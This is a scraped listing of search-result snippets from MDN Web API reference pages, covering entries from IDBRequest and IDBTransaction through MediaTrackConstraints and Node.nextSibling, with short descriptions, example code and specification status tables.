mmendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet explor...
IDBRequest - Web APIs
s using event handler attributes. each reading and writing operation on a database is done using a request. the request object does not initially contain any information about the result of the operation, but once information becomes available, an event is fired on the request, and the information becomes available through the properties of the idbrequest instance. all asynchronous operations i
mmediately return an idbrequest instance. each request has a readystate that is set to the 'pending' state; this changes to 'done' when the request is completed or fails. when the state is set to done, every request returns a result and an error, and an event is fired on the request. when the state is still pending, any attempt to access the result or error raises an invalidstateerror exception. in...
...andlers act on the database being // opened successfully, or not dbopenrequest.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database. db = dbopenrequest.result; }; specifications specification status co
mment indexed database api 2.0the definition of 'idbrequest' in that specification. reco
mmendation initial definition. indexed database api draftthe definition of 'idbrequest' in that specification. reco
mmendation ...
IDBTransaction.db - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browse...
...as been stored successfully in the db - for that you need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; // return the database (idbdatabase) connection with which this transaction is associated transaction.db; }; specification specification status co
mment indexed database api 2.0the definition of 'db' in that specification. reco
mmendation indexed database api draftthe definition of 'db' in that specification. reco
mmendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet explorerop...
IDBTransaction.mode - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/br...
...n stored successfully in the db - for that you need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; // return the mode this transaction has been opened in (should be "readwrite" in this case) transaction.mode; }; specification specification status co
mment indexed database api 2.0the definition of 'mode' in that specification. reco
mmendation indexed database api draftthe definition of 'mode' in that specification. reco
mmendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet explorer...
IDBTransaction.objectStore() - Web APIs
if you'd like to contribute to the data, please check out https://...
... = function(event) { // report the success of the request (this does not mean the item // has been stored successfully in the db - for that you need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; specification specification status co
mment indexed database api 2.0the definition of 'objectstore()' in that specification. reco
mmendation indexed database api draftthe definition of 'objectstore()' in that specification. reco
mmendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet ...
IDBTransaction.onabort - Web APIs
if you'd like to contribute to the data, please check out https://github.com/...
...= '<li>request successful.</li>'; }; transaction.onabort = function() { // report when the transaction was successfully aborted console.log("transaction aborted!"); }; // abort the transaction we just did transaction.abort(); }; specification specification status co
mment indexed database api 2.0the definition of 'onabort' in that specification. reco
mmendation indexed database api draftthe definition of 'onabort' in that specification. reco
mmendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet explo...
IDBTransaction.oncomplete - Web APIs
if you'd like to contribute to the data, please check out https://github.
...ess = function(event) { // report the success of the request (this does not mean the item // has been stored successfully in the db - for that you need transaction.oncomplete) note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status co
mment indexed database api 2.0the definition of 'oncomplete' in that specification. reco
mmendation indexed database api draftthe definition of 'oncomplete' in that specification. reco
mmendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet expl...
IDBTransaction.onerror - Web APIs
if you'd like to contribute to the data, please check out https://github.com/md...
...success = function(event) { // report the success of the request (this does not mean the item // has been stored successfully in the db - for that you need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status co
mment indexed database api 2.0the definition of 'onerror' in that specification. reco
mmendation indexed database api draftthe definition of 'onerror' in that specification. reco
mmendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet explore...
IdleDeadline.timeRemaining() - Web APIs
he estimated number of milliseconds remaining in the current idle period. the callback can call this method at any time to determine how much time it can continue to work before it must return. for example, if the callback finishes a task and has another one to begin, it can call timeremaining() to see if there's enough time to complete the next task. if there isn't, the callback can just return i
mmediately, or look for other work to do with the remaining time. by the time timeremaining() reaches 0, it is suggested that the callback should return control to the user agent's event loop. syntax timeremaining = idledeadline.timeremaining(); return value a domhighrestimestamp value (which is a floating-point number) representing the number of milliseconds the user agent estimates are left ...
...presenting the number of milliseconds the user agent estimates are left in the current idle period. the value is ideally accurate to within about 5 microseconds. if the idledeadline object's didtimeout property is true, this method returns zero. example see our complete example in the article cooperative scheduling of background tasks api. specifications specification status co
mment cooperative scheduling of background tasks proposed reco
mmendation ...
IdleDeadline - Web APIs
providing an estimate of the number of milliseconds remaining in the current idle period. ...
...ent idle period. if the idle period is over, the value is 0. ...
ImageData - Web APIs
asrenderingcontext2d object associated with a canvas: createimagedata() and getimagedata(). it can also be used to set a part of the canvas by using putimagedata(). constructors imagedata() creates an imagedata object from a given uint8clampedarray and the size of the image it contains. if no array is given, it creates an image of a transparent black rectangle. note that this is the most co
mmon way to create such an object in workers as createimagedata() is not available there. properties imagedata.data read only is a uint8clampedarray representing a one-dimensional array containing the data in the rgba order, with integer values between 0 and 255 (inclusive). imagedata.height read only is an unsigned long representing the actual height, in pixels, of the imagedata. imageda...
...resenting a one-dimensional array containing the data in the rgba order, with integer values between 0 and 255 (inclusive). imagedata.height read only is an unsigned long representing the actual height, in pixels, of the imagedata. imagedata.width read only is an unsigned long representing the actual width, in pixels, of the imagedata. specifications specification status co
mment html living standardthe definition of 'imagedata' in that specification. living standard ...
install - Web APIs
method of installtrigger object syntax int install(array xpilist [, function callbackfunc ] ) parameters the install method has the following parameters: xpilist an array of files to be installed (see example below). callbackfunc an optional callback function invoked when the installation is complete (see example below). firefox 3 note in firefox 3 the callback is no longer invoked unless the website performing the installation is whitelisted. returns install returns true if the function succeeded and false if it did not, but these values are not always reliable as a determinant of the success of the operation. ...
...lues are not always reliable as a determinant of the success of the operation. to surface detail about the status of the installation, use the optional callback function and its status parameter, as in the example below. description in the example below, a special javascript object constructor is used to create an object that can be passed to the install() method. the { } constructor takes a co
mma-delimited set of label/value pairs. for installations, these pairs are the xpinstall confirm dialog display name and the path of the xpi, respectively. in the example below, a single installation object is created, but you can use this approach to create multiple installations to pass to a single install. as with the older startsoftwareupdate method, xpis installed with this method must have ...
Timing element visibility with the Intersection Observer API - Web APIs
he same text and aren't loaded from a database, and there are just a handful of simple text-only ads that are selected from an array), this should provide enough understanding of the api to quickly learn how to apply the intersection observer api to your own site. there's a good reason why the notion of tracking visibility of ads is being used in this example. it turns out that one of the most co
mmon uses of flash or other script in advertising on the web is to record how long each ad is visible, for the purpose of billing and payment of revenues. without the intersection observer api, this winds up being done using intervals and timeouts for each individual ad, or other techniques that tend to slow the page down. using this api lets everything get streamlined by the browser to reduce the i...
...te will be placed in. body { font-family: "open sans", "arial", "helvetica", sans-serif; background-color: aliceblue; } .wrapper { display: grid; grid-template-columns: auto minmax(min-content, 1fr); grid-template-rows: auto minmax(min-content, 1fr); max-width: 700px; margin: 0 auto; background-color: aliceblue; } the site's <body> is configured here to use one of a number of co
mmon sans-serif fonts, and to use "aliceblue" as the background color. then the "wrapper" class is defined; it wraps the entire blog, including the header, sidebar, and body content (articles and ads). the wrapper establishes a css grid with two columns and two rows. the first column (sized automatically based on its content) is used for the sidebar and the second column (which will be used for bod...
KeyboardEvent.code - Web APIs
ccessibility device, the returned value will be set by the browser to match as closely as possible to what would happen with a physical keyboard, to maximize compatibility between physical and virtual input devices. this property is useful when you want to handle keys based on their physical positions on the input device rather than the characters associated with those keys; this is especially co
mmon when writing code to handle input for games that simulate a gamepad-like environment using keys on the keyboard. be aware, however, that you can't use the value reported by keyboardevent.code to determine the character generated by the keystroke, because the keycode's name may not match the actual character that's printed on the key or that's generated by the computer when the key is pressed. ...
...wn events, start motion when that happens, and stop the motion when the corresponding keyup occurs, instead of relying on key repeats. that would allow both smoother and faster movement, but would also allow the player to be moving and steering at the same time. transitions or animations could be used to make the ship's movement smoother, too. specification specification status co
mment ui eventsthe definition of 'keyboardevent.code' in that specification. working draft initial definition, included code values. ...
KeyboardEvent.key - Web APIs
e representation of the key. if the pressed key is a control or special character, the returned value is one of the pre-defined key values. if the keyboardevent represents the press of a dead key, the key value must be "dead". some specialty keyboard keys (such as the extended keys for controlling media on multimedia keyboards) don't generate key codes on windows; instead, they trigger wm_appco
mmand events. these events get mapped to dom keyboard events, and are listed among the "virtual key codes" for windows, even though they aren't actually key codes. if the key cannot be identified, the returned value is unidentified. keyboardevent sequence every keyboardevent is fired in a pre-determined sequence. for a given key press, the sequence of keyboardevents fired is as follows assuming ...
... for "enter" or "return" key press. break; case "esc": // ie/edge specific value case "escape": // do something for "esc" key press. break; default: return; // quit when this doesn't handle the key event. } // cancel the default action to avoid it being handled twice event.preventdefault(); }, true); specification specification status co
mment ui eventsthe definition of 'keyboardevent.key' in that specification. working draft document object model (dom) level 3 events specificationthe definition of 'keyboardevent.key' in that specification. obsolete initial definition, included key values. ...
KeyboardEvent.metaKey - Web APIs
the keyboardevent.metakey read-only property returning a boolean that indicates if the meta key was pressed (true) or not (false) when the event occurred. some operating systems may intercept the key so it is never detected. note: on macintosh keyboards, this is the ⌘ co
mmand key. on windows keyboards, this is the windows key (⊞ windows). at least as of firefox 48, the ⊞ windows key is not considered the "meta" key. keyboardevent.metakey is false when the ⊞ windows is pressed. ...
...indows key is not considered the "meta" key. keyboardevent.metakey is false when the ⊞ windows is pressed. syntax var metakeypressed = instanceofkeyboardevent.metakey return value a boolean example function ismetakey(e) { alert("metakey = " + e.metakey); } <button onclick="ismetakey(event)">click me with the meta key</button> specifications specification status co
mment document object model (dom) level 3 events specificationthe definition of 'keyboardevent.metakey' in that specification. obsolete initial definition ...
Keyboard API - Web APIs
g provides an interface for retrieving the string generated by particular physical key on a keyboard to correctly identify that key to a user. keyboard locking enables a web page to capture keys that are normally reserved by the user agent or the underlying operating system. the intended use of the keyboard api is by web applications such as games or remote access apps that provide a full-screen i
mmersive experience. keyboard api concepts and usage keyboard mapping on physical keyboards, the code attribute contains the physical location of the key that was pressed, and the key attribute contains the string generated by pressing the key at that physical location on the keyboard. the key value takes into account the keyboard's locale (for example, 'en-us'), layout (for example, 'qwerty'), ...
... from the physical keyboard. keyboardlayoutmap a map-like object with functions for retrieving the string associated with specific physical keys. navigator.keyboard read only returns a keyboard object which provides access to functions that retrieve keyboard layout maps and toggle capturing of key presses from the physical keyboard. specifications specification status co
mment keyboard map editor's draft initial definition. keyboard lock editor's draft initial definition. ...
LinearAccelerationSensor.x - Web APIs
second. ...
...r({frequency: 60}); lasensor.addeventlistener('reading', e => { console.log("linear acceleration along the x-axis " + lasensor.x); console.log("linear acceleration along the y-axis " + lasensor.y); console.log("linear acceleration along the z-axis " + lasensor.z); }); lasensor.start(); specifications specification status co
mment generic sensor api candidate reco
mmendation defines sensors in general. accelerometerthe definition of 'x' in that specification. candidate reco
mmendation ...
LinearAccelerationSensor.y - Web APIs
second. ...
...r({frequency: 60}); lasensor.addeventlistener('reading', e => { console.log("linear acceleration along the x-axis " + lasensor.x); console.log("linear acceleration along the y-axis " + lasensor.y); console.log("linear acceleration along the z-axis " + lasensor.z); }); lasensor.start(); specifications specification status co
mment generic sensor api candidate reco
mmendation defines sensors in general. accelerometerthe definition of 'y' in that specification. candidate reco
mmendation ...
LinearAccelerationSensor.z - Web APIs
second. ...
...r({frequency: 60}); lasensor.addeventlistener('reading', e => { console.log("linear acceleration along the x-axis " + lasensor.x); console.log("linear acceleration along the y-axis " + lasensor.y); console.log("linear acceleration along the z-axis " + lasensor.z); }); lasensor.start(); specifications specification status co
mment generic sensor api candidate reco
mmendation defines sensors in general. accelerometerthe definition of 'z' in that specification. candidate reco
mmendation ...
LinearAccelerationSensor - Web APIs
second. ...
...r({frequency: 60}); lasensor.addeventlistener('reading', e => { console.log("linear acceleration along the x-axis " + lasensor.x); console.log("linear acceleration along the y-axis " + lasensor.y); console.log("linear acceleration along the z-axis " + lasensor.z); }); lasensor.start(); specifications specification status co
mment generic sensor api candidate reco
mmendation defines sensors in general. accelerometerthe definition of 'linearaccelerationsensor' in that specification. candidate reco
mmendation ...
LockManager.request() - Web APIs
e. when an "exclusive" lock for a given name is held, no other lock with the same name can be held. request a "shared" lock when multiple instances of the code can share access to a resource. when a "shared" lock for a given name is held, other "shared" locks for the same name can be granted, but no "exclusive" locks with that name can be held or granted. this shared/exclusive lock pattern is co
mmon in database transaction architecture, for example to allow multiple simultaneous readers (each requests a "shared" lock) but only one writer (a single "exclusive" lock). this is known as the readers-writer pattern. in the indexeddb api, this is exposed as "readonly" and "readwrite" transactions which have the same semantics. syntax lockmanager.request(var promise = name[, {options}], callback...
...troller = new abortcontroller(); // wait at most 200ms. settimeout(() => controller.abort(), 200); try { await navigator.locks.request('my_resource', {signal: controller.signal}, async lock => { // the lock was acquired! }); } catch (ex) { if (ex.name === 'aborterror') { // the request aborted before it could be granted. } } specifications specification status co
mment web locks apithe definition of 'request()' in that specification. draft initial definition. ...
LockedFile.abort() - Web APIs
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. su
mmary the abort method is used to release the lock on the lockedfile object, making it inactive: its active property is set to false and all ongoing operations are canceled. note: when an ongoing operation is canceled, there is no rollback (it is not a database transaction), therefore the file can be corrupted if the canceled operation was performing some writing. syntax var request = instanceoflockedfile.abort(); return a filerequest object to handle the success or failure of the operatio...
... are canceled. ...
keySystem - Web APIs
the mediakeysystemaccess.keysystem read-only property returns a domstring identifying the key system being used. ...
... the mediakeysystemaccess.keysystem read-only property returns a domstring identifying the key system being used. ...
audioCapabilities - Web APIs
the mediakeysystemconfiguration.audiocapabilities read-only property returns an array of supported audio type and capability pairs. ...
...on.audiocapabilities read-only property returns an array of supported audio type and capability pairs. ...
distinctiveIdentifier - Web APIs
the mediakeysystemconfiguration.distinctiveidentifier read-only property indicates whether a persistent distinctive identifier is required. ...
... the mediakeysystemconfiguration.distinctiveidentifier read-only property indicates whether a persistent distinctive identifier is required. ...
initDataTypes - Web APIs
the mediakeysystemconfiguration.initdatatypes read-only property returns a list of supported initialization data type names. ...
...pes read-only property returns a list of supported initialization data type names. ...
persistentState - Web APIs
the mediakeysystemconfiguration.persistentstate read-only property indicates whether the ability to persist state is required. ...
... the mediakeysystemconfiguration.persistentstate read-only property indicates whether the ability to persist state is required. ...
videoCapabilities - Web APIs
the mediakeysystemconfiguration.videocapabilities read-only property returns an array of supported video type and capability pairs. ...
...ion.videocapabilities read-only property returns an array of supported video type and capability pairs. ...
MediaKeySystemConfiguration - Web APIs
ation.videocapabilities read only returns a list of supported video type and capability pairs. ...
...ration.distinctiveidentifier read only indicates whether a persistent distinctive identifier is required. ...
setServerCertificate() - Web APIs
the mediakeys.setservercertificate() method a promise to a server certificate to be used to encrypt messages to the license server. ...
... the mediakeys.setservercertificate() method a promise to a server certificate to be used to encrypt messages to the license server. ...
MediaList.mediaText - Web APIs
the mediatext property of the medialist interface is a stringifier that returns a domstring representing the medialist as text, and also allows you to set a new medialist. syntax medialistinstance.mediatext; medialistinstance.mediatext = string; value a domstring representing the media queries of a stylesheet. each one is separated by a co
mma, for example screen and (min-width: 480px), print. if you wish to set new media queries on the document, the string value must have the different queries separated by co
mmas, e.g. screen, print. note that the medialist is a live list; updating the list via mediatext will i
mmediately update the behavior of the document. also note that is you try to set mediatext to null, it will be treated as an empty string, i.e. the value will be set to "". exa...
...null, it will be treated as an empty string, i.e. the value will be set to "". examples the following would log to the console a textual representation of the medialist of the first stylesheet applied to the current document. const stylesheets = document.stylesheets; let stylesheet = stylesheets[0]; console.log(stylesheet.media.mediatext); specifications specification status co
mment css object model (cssom)the definition of 'mediatext' in that specification. working draft ...
MediaList - Web APIs
properties medialist.mediatext a stringifier that returns a domstring representing the medialist as text, and also allows you to set a new medialist. medialist.length read only returns the number of media queries in the medialist. ...
...edia query as text, given the media query's index value inside the medialist. examples the following would log to the console a textual representation of the medialist of the first stylesheet applied to the current document. const stylesheets = document.stylesheets; let stylesheet = stylesheets[0]; console.log(stylesheet.media.mediatext); specifications specification status co
mment css object model (cssom)the definition of 'medialist' in that specification. working draft ...
MediaPositionState.duration - Web APIs
l duration in seconds of the media currently being performed. this information can then, in turn, be used by the user agent to provide a user interface which displays media playback information to the viewer. for example, a browser might use this information along with the position property and the navigator.mediasession.playbackstate, as well as the session's metadata to provide an integrated co
mmon user interface showing the currently playing media as well as standard pause, play, forward, reverse, and other controls. syntax let positionstate = { duration: durationinseconds }; let durationinseconds = positionstate.duration; value a floating-point value indicating the overall duration, in seconds, of the media being performed. this value should always be positive. to indicate media o...
... draft initial definition. ...
MediaPositionState.playbackRate - Web APIs
user agent the rate at which media is currently being played. this information can then, in turn, be used by the user agent to provide a user interface which displays media playback information to the viewer. for example, a browser might use this information along with the position property and the navigator.mediasession.playbackstate, as well as the session's metadata to provide an integrated co
mmon user interface showing the currently playing media as well as standard pause, play, forward, reverse, and other controls. syntax let positionstate = { playbackrate: rate }; let playbackrate = positionstate.playbackrate; value a floating-point value specifying a multiplier corresponding to the current relative rate at which the media being performed is playing. a value of 1.0 indicates the...
.... it begins by creating a mediapositionstate object, then submits it to the browser it by calling navigator.mediasession.setpositionstate(). let positionstate = { duration: mymediaduration; playbackrate: 2.0; position: mymediaposition; }; navigator.mediasession.setpositionstate(positionstate); note the value 2.0 as the playbackrate. specifications specification status co
mment media session standardthe definition of 'mediapositionstate.playbackrate' in that specification. draft initial definition. ...
MediaPositionState.position - Web APIs
nt playback position, in seconds, of the currently-playing media. this information is then, in turn, used by the user agent to provide a user interface which displays media playback information to the viewer. for example, a browser might use this information along with the position property and the navigator.mediasession.playbackstate, as well as the session's metadata to provide an integrated co
mmon user interface showing the currently playing media as well as standard pause, play, forward, reverse, and other controls. syntax let positionstate = { position: timeinseconds }; let duration = positionstate.duration; value a floating-point value indicating the current playback position within the media currently being performed, in seconds. this value should always be zero or more. examp...
...r. let positioninterval = window.setinterval(() => { if (mymedia.isplaying) { navigator.mediasession.setpositionstate({ duration: mymedia.trackdurationinseconds, playbackrate: mymedia.playbackrate, position: mymedia.trackplaypositioninseconds }); } else { window.clearinterval(positioninterval); } }, 1000); specifications specification status co
mment media session standardthe definition of 'mediapositionstate.position' in that specification. draft initial definition. ...
MediaQueryList - Web APIs
a mediaquerylist object stores information on a media query applied to a document, with support for both i
mmediate and event-driven matching against the state of the document. you can create a mediaquerylist by calling matchmedia() on the window object. the resulting object handles sending notifications to listeners when the media query state changes (i.e. when the media query test starts or stops evaluating to true). this is very useful for adaptive design, since this makes it possible to observe a document to detect when its media queries change, instead of polling the values periodically, and allows you to progra
mmatically make changes to a document based on media query status. properties the mediaquerylist interface inherits properties from its parent interface, eventtarget. match...
... working draft initial definition ...
MediaRecorder.start() - Web APIs
ice) parameters timeslice optional the number of milliseconds to record into each blob. if this parameter isn't included, the entire media duration is recorded into a single blob unless the requestdata() method is called to obtain the blob and trigger the creation of a new blob into which the media continues to be recorded. return value undefined. exceptions errors that can be detected i
mmediately are thrown as dom exceptions. all other errors are reported through error events sent to the mediarecorder object. you can implement the onerror event handler to respond to these errors. invalidmodificationerror the number of tracks on the stream being recorded has changed. you can't add or remove tracks while recording media. invalidstateerror the mediarecorder is not in the inacti...
...on the source stream. this exception may also be delivered as an error event if the security options for the source media change after recording begins. unknownerror something else went wrong during the recording process. example ... record.onclick = function() { mediarecorder.start(); console.log("recorder started"); } ... specifications specification status co
mment mediastream recordingthe definition of 'mediarecorder.start()' in that specification. working draft initial definition ...
MediaStreamTrackEvent() - Web APIs
ent(). type a domstring representing the name of the type of the mediastreamtrackevent. ...
..."addtrack" or "removetrack". track a mediastreamtrack object representing the track which was added to or removed from the stream. ...
MediaStreamTrackEvent - Web APIs
properties also inherits properties from its parent interface, event. ...
...presenting the track which was added to the stream. ...
MediaTrackConstraints.aspectRatio - Web APIs
...
...ed aspect ratio (if exact is specified or both min and max are provided and have the same value) or to a best-possible value. example see example: constraint exerciser in capabilities, constraints, and settings for an example. specifications specification status co
mment media capture and streamsthe definition of 'aspectratio' in that specification. candidate reco
mmendation initial specification. ...
MediaTrackConstraints.channelCount - Web APIs
...
...nd have the same value) or to a best-possible value. the channel count is 1 for monaural sound, 2 for stereo, and so forth. example see example: constraint exerciser in capabilities, constraints, and settings for an example. specifications specification status co
mment media capture and streamsthe definition of 'channelcount' in that specification. candidate reco
mmendation initial specification. ...
MediaTrackConstraints.deviceId - Web APIs
al, and/or exact (mandatory) device ids which are acceptable as the source of media content. device ids are unique for a given origin, and are guaranteed to be the same across browsing sessions on the same origin. however, the value of the deviceid is determined by the source of the track's content, and there's no particular format mandated by the specification (although some kind of guid is reco
mmended). that means that a given track will only return one value for the deviceid when you call getcapabilities(). because of this, there's no use for the device id when calling mediastreamtrack.applyconstraints(), since there is only one possible value; however, you can record a deviceid and use it to ensure that you get the same source for multiple calls to getusermedia(). an exception to the...
...re that you get the same source for multiple calls to getusermedia(). an exception to the rule that device ids are the same across browsing sessions: private browsing mode will use a different id, and will change it each browsing session. example see example: constraint exerciser in capabilities, constraints, and settings for an example. specifications specification status co
mment media capture and streamsthe definition of 'deviceid' in that specification. candidate reco
mmendation initial specification. ...
MediaTrackConstraints.frameRate - Web APIs
...
...quired frame rate (if exact is specified or both min and max are provided and have the same value) or to a best-possible value. example see example: constraint exerciser in capabilities, constraints, and settings for an example. specifications specification status co
mment media capture and streamsthe definition of 'framerate' in that specification. candidate reco
mmendation initial specification. ...
MediaTrackConstraints.height - Web APIs
...
... the required height (if exact is specified or both min and max are provided and have the same value) or to a best-possible value. example see example: constraint exerciser in capabilities, constraints, and settings for an example. specifications specification status co
mment media capture and streamsthe definition of 'height' in that specification. candidate reco
mmendation initial specification. ...
MediaTrackConstraints.sampleRate - Web APIs
...
...ired sample rate (if exact is specified or both min and max are provided and have the same value) or to a best-possible value. example see example: constraint exerciser in capabilities, constraints, and settings for an example. specifications specification status co
mment media capture and streamsthe definition of 'samplerate' in that specification. candidate reco
mmendation initial specification. ...
MediaTrackConstraints.width - Web APIs
...
...to the required width (if exact is specified or both min and max are provided and have the same value) or to a best-possible value. example see example: constraint exerciser in capabilities, constraints, and settings for an example. specifications specification status co
mment media capture and streamsthe definition of 'width' in that specification. candidate reco
mmendation initial specification. ...
MediaTrackSettings.deviceId - Web APIs
urce. this id is valid across multiple browsing sessions for the same origin and is guaranteed to be different for all other origins, so you can safely use it to request the same source be used for multiple sessions, for example. the actual value of the string, however, is determined by the source of the track, and there is no guarantee what form it will take, although the specification does reco
mmend it be a guid. since there is a one-to-one pairing of id with each source, all tracks with the same source will share the same id for any given origin, so mediastreamtrack.getcapabilities() will always return exactly one value for deviceid. that makes the device id not useful for any changes to constraints when calling mediastreamtrack.applyconstraints(). an exception to the rule that device...
...nges to constraints when calling mediastreamtrack.applyconstraints(). an exception to the rule that device ids are the same across browsing sessions: private browsing mode will use a different id, and will change it each browsing session. example see example: constraint exerciser in capabilities, constraints, and settings for an example. specifications specification status co
mment media capture and streamsthe definition of 'deviceid' in that specification. candidate reco
mmendation initial specification. ...
MediaTrackSettings.groupId - Web APIs
ever, it can be used to ensure that audio input and output are both being performed on the same headset, for example, or to ensure that the built-in camera and microphone on a phone are being used for video conferencing purposes. the actual value of the string, however, is determined by the source of the track, and there is no guarantee what form it will take, although the specification does reco
mmend it be a guid. since this property isn't stable across browsing sessions, its usefulness when calling getusermedia() is generally limited to ensuring that tasks performed during the same browsing session use devices from the same group (or that they don't use devices from the same group). there is no situation in which the groupid is useful when calling applyconstraints(), since the value can'...
...ed during the same browsing session use devices from the same group (or that they don't use devices from the same group). there is no situation in which the groupid is useful when calling applyconstraints(), since the value can't be changed. example see example: constraint exerciser in capabilities, constraints, and settings for an example. specifications specification status co
mment media capture and streamsthe definition of 'groupid' in that specification. candidate reco
mmendation initial specification. ...
MediaTrackSettings.logicalSurface - Web APIs
ntirely onscreen, or may even be off-screen, such as windows' backing buffers (where only part of the buffer is visible without scrolling the containing window) and offscreen rendering contexts. syntax islogicalsurface = mediatracksettings.logicalsurface; value a boolean value which is true if the video track in the stream of captured video is taken from a logical display surface. the most co
mmon scenario in which a display surface may be a logical one is if the selected surface contains the entire content area of a window which is too large to display onscreen at once. since the window that contains the surface has to be scrolled to show the rest of the contents, the surface is a logical one. a visible display surface (that is, a surface for which logicalsurface returns false) is the ...
...is the portion of a logical display surface which is currently visible onscreen. for example, a user agent may choose to allow the user to choose whether to share the entire document (a browser with logicalsurface value of true), or just the currently visible portion of the document (where the logicalsurface of the browser surface is false). specifications specification status co
mment screen capturethe definition of 'mediatracksettings.logicalsurface' in that specification. working draft initial definition ...
MediaTrackSettings.sampleSize - Web APIs
checking the value of mediatracksupportedconstraints.samplesize as returned by a call to mediadevices.getsupportedconstraints(). however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. syntax var samplesize = mediatracksettings.samplesize; value an integer value indicating how many bits each audio sample is represented by. the most co
mmonly used sample size for many years now is 16 bits per sample, which was used for cd audio among others. other co
mmon sample sizes are 8 (for reduced bandwidth requirements) and 24 (for high-resolution professional audio). each audio channel on the track requires samplesize bits. that means that a given sample actually uses (samplesize/8)*channelcount bytes of data. for example, 16-bit stereo au...
...professional audio). each audio channel on the track requires samplesize bits. that means that a given sample actually uses (samplesize/8)*channelcount bytes of data. for example, 16-bit stereo audio requires (16/8)*2 or 4 bytes per sample. example see example: constraint exerciser in capabilities, constraints, and settings for an example. specifications specification status co
mment media capture and streamsthe definition of 'samplesize' in that specification. candidate reco
mmendation initial specification. ...
NavigatorStorage - Web APIs
ragemanager singleton used for controlling the persistence of data stores as well as obtaining information note: this feature is available in web workers. there are many apis which provide ways for web content to store data on a user's computer, including cookies, the web storage api (window.localstorage and window.sessionstorage), and indexeddb. the storage standard is designed to serve as a co
mmon basis for the implementation of all of those apis and storage technologies, so that their constraints and configurations can be understood and controlled using a co
mmon set of methods and properties. properties storage read only secure context returns the storagemanager singleton object which is used to access the storage manager. through the returned object, you can control persistence of...
... ...
Node.appendChild() - Web APIs
will not be automatically kept in sync. if the given child is a documentfragment, the entire contents of the documentfragment are moved into the child list of the specified parent node. newer api avaliable! the parentnode.append() method supports multiple arguments and appending strings. syntax element.appendchild(achild) parameters achild the node to append to the given parent node (co
mmonly an element). return value the returned value is the appended child (achild), except when achild is a documentfragment, in which case the empty documentfragment is returned. notes chaining may not work as expected, due to appendchild() returning the child element: let ablock = document.createelement('block').appendchild( document.createelement('b') ); sets ablock to <b></b> only, which ...
... returning the child element: let ablock = document.createelement('block').appendchild( document.createelement('b') ); sets ablock to <b></b> only, which is probably not what you want. example // create a new paragraph element, and append it to the end of the document body let p = document.createelement("p"); document.body.appendchild(p); specifications specification status co
mment domthe definition of 'node.appendchild()' in that specification. living standard no change from document object model (dom) level 3 core specification. document object model (dom) level 3 core specificationthe definition of 'node.appendchild()' in that specification. obsolete no change from document object model (dom) level 2 core specification. docum...
Node.insertBefore() - Web APIs
cript> note: there is no insertafter() method. it can be emulated by combining the insertbefore method with node.nextsibling. in the previous example, sp1 could be inserted after sp2 using: parentdiv.insertbefore(sp1, sp2.nextsibling) if sp2 does not have a next sibling, then it must be the last child — sp2.nextsibling returns null, and sp1 is inserted at the end of the child node list (i
mmediately after sp2). example 3 insert an element before the first child element, using the firstchild property. // get the parent element let parentelement = document.getelementbyid('parentelement') // get the parent's first child let thefirstchild = parentelement.firstchild // create a new element let newelement = document.createelement("div") // insert the new element before the first child...
...entelement.insertbefore(newelement, thefirstchild) when the element does not have a first child, then firstchild is null. the element is still appended to the parent, after the last child. since the parent element did not have a first child, it did not have a last child, either. consequently, the newly inserted element is the only element. specifications specification status co
mment domthe definition of 'node.insertbefore' in that specification. living standard fixes errors in the insertion algorithm dom4the definition of 'node.insertbefore' in that specification. obsolete describes the algorithm in more detail document object model (dom) level 3 core specificationthe definition of 'node.insertbefore' in that specification. ob...
Node.nextSibling - Web APIs
the node.nextsibling read-only property returns the node i
mmediately following the specified one in their parent's childnodes, or returns null if the specified node is the last child in the parent element. syntax nextnode = node.nextsibling notes gecko-based browsers insert text nodes into a document to represent whitespace in the source markup. therefore a node obtained, for example, using node.firstchild or node.previoussibling may refer to a whitespace text node rather than the actual element the author intended to get. see whitespace in the dom and w3c dom 3 faq: why are some text nodes empty? for more information. element.nextelementsibling may be used to obtain the next element skipping any whitespace nodes, other between-element text, or co
mments. example <div id="div-1">h...
...**********************/ in the above example, #text nodes are inserted in the dom where whitespace occurs between tags (i.e. after the closing tag of an element and before the opening tag of the next). the possible inclusion of text nodes must be allowed for when traversing the dom using nextsibling. see the resources in the notes section. specifications specification status co
mment domthe definition of 'node.nextsibling' in that specification. living standard no change document object model (dom) level 2 core specificationthe definition of 'node.nextsibling' in that specification. obsolete no change document object model (dom) level 1 specificationthe definition of 'node.nextsibling' in that specification. obsolete initial...
Node.previousSibling - Web APIs
